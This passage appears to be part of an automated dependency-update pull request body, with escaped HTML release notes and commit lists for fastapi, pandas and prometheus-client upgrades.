that exit before the response is sent. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14262\"\u003e#14262\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\n\u003cul\u003e\n\u003cli\u003eNew docs: \u003ca href=\"https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-with-yield/#early-exit-and-scope\"\u003eDependencies with \u003ccode\u003eyield\u003c/code\u003e - Early exit and \u003ccode\u003escope\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e👥 Update FastAPI People - Contributors and Translators. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14273\"\u003e#14273\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e👥 Update FastAPI People - Sponsors. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14274\"\u003e#14274\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e👥 Update FastAPI GitHub topic repositories. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14280\"\u003e#14280\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e⬆ Bump mkdocs-macros-plugin from 1.4.0 to 1.4.1. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14277\"\u003e#14277\u003c/a\u003e by \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot[bot]\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e⬆ Bump mkdocstrings[python] from 0.26.1 to 0.30.1. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14279\"\u003e#14279\u003c/a\u003e by \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot[bot]\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.120.4\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix security schemes in OpenAPI when added at the top level app. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14266\"\u003e#14266\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/02e108d1663149faac4156dd23595cbdf74287c2\"\u003e\u003ccode\u003e02e108d\u003c/code\u003e\u003c/a\u003e 🔖 Release version 0.121.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/d3b75974f48cd180f6f87de39adc475c7bf8900a\"\u003e\u003ccode\u003ed3b7597\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/5d40dfbc9bc1df1c7801acc53857ec7a072b7697\"\u003e\u003ccode\u003e5d40dfb\u003c/code\u003e\u003c/a\u003e 🐛 Fix handling of JSON Schema attributes named \u0026quot;$ref\u0026quot; (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14349\"\u003e#14349\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/eaf611f9ee56de4f16c837d4f487a4b9fca507c4\"\u003e\u003ccode\u003eeaf611f\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/004ab1a9d1c746bf885d4d6428a721074b2c2d78\"\u003e\u003ccode\u003e004ab1a\u003c/code\u003e\u003c/a\u003e 📝 Add EuroPython talk \u0026amp; podcast episode with Sebastián Ramírez (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14260\"\u003e#14260\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/d1be85c728c64aa3d99f8bc7e9865b342f209117\"\u003e\u003ccode\u003ed1be85c\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/42930fe60065420034b7d6ff4932b25993a68481\"\u003e\u003ccode\u003e42930fe\u003c/code\u003e\u003c/a\u003e ✏️ Fix links and add missing permalink in docs (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14217\"\u003e#14217\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/9e362d9f6e66078c67295e5ed5e5918739dfe5f0\"\u003e\u003ccode\u003e9e362d9\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/540a83da65b2e3b219ee3d41c4be7837ab05dc84\"\u003e\u003ccode\u003e540a83d\u003c/code\u003e\u003c/a\u003e 🌐 Update Portuguese translations with LLM prompt (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14228\"\u003e#14228\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/1a2e4152ed1173dc129bf4feb45c84b704c55eb8\"\u003e\u003ccode\u003e1a2e415\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastapi/fastapi/compare/0.104.1...0.121.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pandas` from 2.1.3 to 2.3.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pandas-dev/pandas/releases\"\u003epandas's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ePandas 2.3.3\u003c/h2\u003e\n\u003cp\u003eWe are pleased to announce the release of pandas 2.3.3.\nThis release includes some improvements and fixes to the future string data type (preview feature for the upcoming pandas 3.0). We recommend that all users upgrade to this version.\u003c/p\u003e\n\u003cp\u003eSee the \u003ca href=\"https://pandas.pydata.org/pandas-docs/version/2.3/whatsnew/v2.3.3.html\"\u003efull whatsnew\u003c/a\u003e for a list of all the changes.\nPandas 2.3.3 supports Python 3.9 and higher, and is the first release to support Python 3.14.\u003c/p\u003e\n\u003cp\u003eThe release will be available on the conda-forge channel:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econda install pandas --channel conda-forge\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eOr via PyPI:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003epython3 -m pip install --upgrade pandas\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003ePlease report any issues with the release on the \u003ca href=\"https://github.com/pandas-dev/pandas/issues\"\u003epandas issue tracker\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThanks to all the contributors who made this release possible.\u003c/p\u003e\n\u003ch2\u003ePandas 2.3.2\u003c/h2\u003e\n\u003cp\u003eWe are pleased to announce the release of pandas 2.3.2.\nThis release includes some improvements and fixes to the future string data type (preview feature for the upcoming pandas 3.0). We recommend that all users upgrade to this version.\u003c/p\u003e\n\u003cp\u003eSee the \u003ca href=\"https://pandas.pydata.org/pandas-docs/version/2.3/whatsnew/v2.3.2.html\"\u003efull whatsnew\u003c/a\u003e for a list of all the changes.\nPandas 2.3.2 supports Python 3.9 and higher.\u003c/p\u003e\n\u003cp\u003eThe release will be available on the conda-forge channel:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econda install pandas --channel conda-forge\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eOr via PyPI:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003epython3 -m pip install --upgrade pandas\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003ePlease report any issues with the release on the \u003ca href=\"https://github.com/pandas-dev/pandas/issues\"\u003epandas issue tracker\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThanks to all the contributors who made this release possible.\u003c/p\u003e\n\u003ch2\u003ePandas 2.3.1\u003c/h2\u003e\n\u003cp\u003eWe are pleased to announce the release of pandas 2.3.1.\nThis release includes some improvements and fixes to the future string data type (preview feature for the upcoming pandas 3.0). We recommend that all users upgrade to this version.\u003c/p\u003e\n\u003cp\u003eSee the \u003ca href=\"https://pandas.pydata.org/pandas-docs/version/2.3.1/whatsnew/v2.3.1.html\"\u003efull whatsnew\u003c/a\u003e for a list of all the changes.\nPandas 2.3.1 supports Python 3.9 and higher.\u003c/p\u003e\n\u003cp\u003eThe release will be available on the conda-forge channel:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econda install pandas --channel conda-forge\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eOr via PyPI:\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/9c8bc3e55188c8aff37207a74f1dd144980b8874\"\u003e\u003ccode\u003e9c8bc3e\u003c/code\u003e\u003c/a\u003e RLS: 2.3.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/6aa788a00bda9b0f004302076dad94df3edeafc7\"\u003e\u003ccode\u003e6aa788a\u003c/code\u003e\u003c/a\u003e [backport 2.3.x] DOC: prepare 2.3.3 whatsnew notes for release (\u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62499\"\u003e#62499\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62508\"\u003e#62508\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/b64f0df403d11ac733d9f460f89a5e99c8044ed0\"\u003e\u003ccode\u003eb64f0df\u003c/code\u003e\u003c/a\u003e [backport 2.3.x] BUG: avoid validation error for ufunc with string[python] ar...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/058eb2b0edfc408dae9966ef1f03372f2a3ff04c\"\u003e\u003ccode\u003e058eb2b\u003c/code\u003e\u003c/a\u003e [backport 2.3.x] BUG: String[pyarrow] comparison with mixed object (\u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62424\"\u003e#62424\u003c/a\u003e) (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/2ca088daef6a9d9333fea8aedffc7e50d28dfdee\"\u003e\u003ccode\u003e2ca088d\u003c/code\u003e\u003c/a\u003e [backport 2.3.x] DEPR: remove the Period resampling deprecation (\u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62480\"\u003e#62480\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62\"\u003e#62\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/92bf98f623572ed053d48be5818c8503f1b61888\"\u003e\u003ccode\u003e92bf98f\u003c/code\u003e\u003c/a\u003e [backport 2.3.x] BUG: fix .str.isdigit to honor unicode superscript for older...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/e57c7d6a2247316188fba0ba2a0db3c11028d75c\"\u003e\u003ccode\u003ee57c7d6\u003c/code\u003e\u003c/a\u003e Backport PR \u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62452\"\u003e#62452\u003c/a\u003e on branch 2.3.x (TST: Adjust tests for numexpr 2.13) (\u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62454\"\u003e#62454\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/e0fe9a03c90e560c34a3bbbdd1735a8b64f7b281\"\u003e\u003ccode\u003ee0fe9a0\u003c/code\u003e\u003c/a\u003e Backport to 2.3.x: REGR: from_records not initializing subclasses properly (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/23a1085e641c8e3a5b500e319c5973e4160b9236\"\u003e\u003ccode\u003e23a1085\u003c/code\u003e\u003c/a\u003e BUG: improve future warning for boolean operations with missaligned indexes (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/61136969fb18b438b6660bd5d485d0236dbf4a71\"\u003e\u003ccode\u003e6113696\u003c/code\u003e\u003c/a\u003e Backport PR \u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62396\"\u003e#62396\u003c/a\u003e on branch 2.3.x (PKG/DOC: indicate Python 3.14 support in ...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pandas-dev/pandas/compare/v2.1.3...v2.3.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prometheus-client` from 0.19.0 to 0.23.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prometheus/client_python/releases\"\u003eprometheus-client's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.23.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: use tuples instead of packaging Version by \u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\"\u003ehttps://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.23.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUTF-8 Content Negotiation by \u003ca href=\"https://github.com/ywwg\"\u003e\u003ccode\u003e@​ywwg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1102\"\u003eprometheus/client_python#1102\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRe include test data by \u003ca href=\"https://github.com/mgorny\"\u003e\u003ccode\u003e@​mgorny\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1113\"\u003eprometheus/client_python#1113\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImprove parser performance by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1117\"\u003eprometheus/client_python#1117\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support to \u003ccode\u003ewrite_to_textfile\u003c/code\u003e for custom tmpdir by \u003ca href=\"https://github.com/aadityadhruv\"\u003e\u003ccode\u003e@​aadityadhruv\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1115\"\u003eprometheus/client_python#1115\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eOM text exposition for NH by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1087\"\u003eprometheus/client_python#1087\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix bug which caused metric publishing to not accept query string parameters in ASGI app by \u003ca href=\"https://github.com/hacksparr0w\"\u003e\u003ccode\u003e@​hacksparr0w\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1125\"\u003eprometheus/client_python#1125\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEmit native histograms only when OM 2.0.0 is requested by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1128\"\u003eprometheus/client_python#1128\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: remove space after comma in openmetrics exposition by \u003ca href=\"https://github.com/theSuess\"\u003e\u003ccode\u003e@​theSuess\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1132\"\u003eprometheus/client_python#1132\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix issue parsing double spaces after # HELP/# TYPE by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1134\"\u003eprometheus/client_python#1134\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mgorny\"\u003e\u003ccode\u003e@​mgorny\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1113\"\u003eprometheus/client_python#1113\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aadityadhruv\"\u003e\u003ccode\u003e@​aadityadhruv\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1115\"\u003eprometheus/client_python#1115\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/hacksparr0w\"\u003e\u003ccode\u003e@​hacksparr0w\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1125\"\u003eprometheus/client_python#1125\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theSuess\"\u003e\u003ccode\u003e@​theSuess\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1132\"\u003eprometheus/client_python#1132\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.22.1...v0.23.0\"\u003ehttps://github.com/prometheus/client_python/compare/v0.22.1...v0.23.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.22.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eBugFix: Skip validating and parsing comment lines early (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1108\"\u003e#1108\u003c/a\u003e) by \u003ca href=\"https://github.com/wissamir\"\u003e\u003ccode\u003e@​wissamir\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1109\"\u003eprometheus/client_python#1109\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUse License Expressions in pyproject.toml by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1111\"\u003eprometheus/client_python#1111\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.22.0...v0.22.1\"\u003ehttps://github.com/prometheus/client_python/compare/v0.22.0...v0.22.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.22.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd support for native histograms in OM parser by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1040\"\u003eprometheus/client_python#1040\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd exemplar support to CounterMetricFamily [Fix \u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1062\"\u003e#1062\u003c/a\u003e] by \u003ca href=\"https://github.com/lod\"\u003e\u003ccode\u003e@​lod\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1063\"\u003eprometheus/client_python#1063\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003ewrite_to_textfile\u003c/code\u003e leaves back temp files on errors by \u003ca href=\"https://github.com/ethanschen\"\u003e\u003ccode\u003e@​ethanschen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1066\"\u003eprometheus/client_python#1066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport UTF-8 in metric creation, parsing, and exposition by \u003ca href=\"https://github.com/ywwg\"\u003e\u003ccode\u003e@​ywwg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1070\"\u003eprometheus/client_python#1070\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix incorrect use of reentrant locks by \u003ca href=\"https://github.com/suligap\"\u003e\u003ccode\u003e@​suligap\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1076\"\u003eprometheus/client_python#1076\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRemove Python 3.8 support by \u003ca href=\"https://github.com/kajinamit\"\u003e\u003ccode\u003e@​kajinamit\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1075\"\u003eprometheus/client_python#1075\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCheck if labelvalues is in _metrics before deletion in MetricWrapperBase.remove() by \u003ca href=\"https://github.com/GlorifiedPig\"\u003e\u003ccode\u003e@​GlorifiedPig\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1077\"\u003eprometheus/client_python#1077\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for Python 3.13 by \u003ca href=\"https://github.com/Pliner\"\u003e\u003ccode\u003e@​Pliner\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1080\"\u003eprometheus/client_python#1080\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCorrect nh sample span structure and parsing by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1082\"\u003eprometheus/client_python#1082\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMigrate from setup.py to pyproject.toml by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1084\"\u003eprometheus/client_python#1084\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eChanged pushgateway.md by \u003ca href=\"https://github.com/mallika-mur\"\u003e\u003ccode\u003e@​mallika-mur\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1083\"\u003eprometheus/client_python#1083\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix order-dependent flaky tests related to UTF-8 support by \u003ca href=\"https://github.com/dg98\"\u003e\u003ccode\u003e@​dg98\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1093\"\u003eprometheus/client_python#1093\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/8746c49a76a7929795fab7b593b1c44dc8c972d2\"\u003e\u003ccode\u003e8746c49\u003c/code\u003e\u003c/a\u003e Release 0.23.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/266beb2567e0040a5790836c32de5a643d5177e4\"\u003e\u003ccode\u003e266beb2\u003c/code\u003e\u003c/a\u003e fix: use tuples instead of packaging Version (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1136\"\u003e#1136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/f9471403a82de6af93feeac2d38938ca1c384b6d\"\u003e\u003ccode\u003ef947140\u003c/code\u003e\u003c/a\u003e fix: Use \u003ccode\u003easyncio.new_event_loop()\u003c/code\u003e to create event loop for tests (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1138\"\u003e#1138\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/b9e78a3f701fd442f57db23701c2021a529a84c3\"\u003e\u003ccode\u003eb9e78a3\u003c/code\u003e\u003c/a\u003e Release 0.23.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/b3fbbca891a6c6d07b83a3680919956a3c3ab523\"\u003e\u003ccode\u003eb3fbbca\u003c/code\u003e\u003c/a\u003e Fix issue parsing double spaces after # HELP/# TYPE (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1134\"\u003e#1134\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/47d2b416d75f5569863e2bb08a15b58218563814\"\u003e\u003ccode\u003e47d2b41\u003c/code\u003e\u003c/a\u003e Do not use global when only reading variable (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1133\"\u003e#1133\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/4de31eee009a527ba7a5cda76a4aef403df7ab0d\"\u003e\u003ccode\u003e4de31ee\u003c/code\u003e\u003c/a\u003e fix: remove space after comma in openmetrics exposition (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1132\"\u003e#1132\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/3586355e648f1d8a058cdb711bc2ce920ce58ca4\"\u003e\u003ccode\u003e3586355\u003c/code\u003e\u003c/a\u003e Emit native histograms only when OM 2.0.0 is requested (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1128\"\u003e#1128\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/9e3eb6c7e146d8003d12e24db56f5abfcc0bbef6\"\u003e\u003ccode\u003e9e3eb6c\u003c/code\u003e\u003c/a\u003e Fix bug which caused metric publishing to not accept query string parameters ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/d358f469a7bc2480005775a9be8de30c20c88ab6\"\u003e\u003ccode\u003ed358f46\u003c/code\u003e\u003c/a\u003e Bump flake8 libraries (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1127\"\u003e#1127\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.19.0...v0.23.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pydantic` from 2.4.2 to 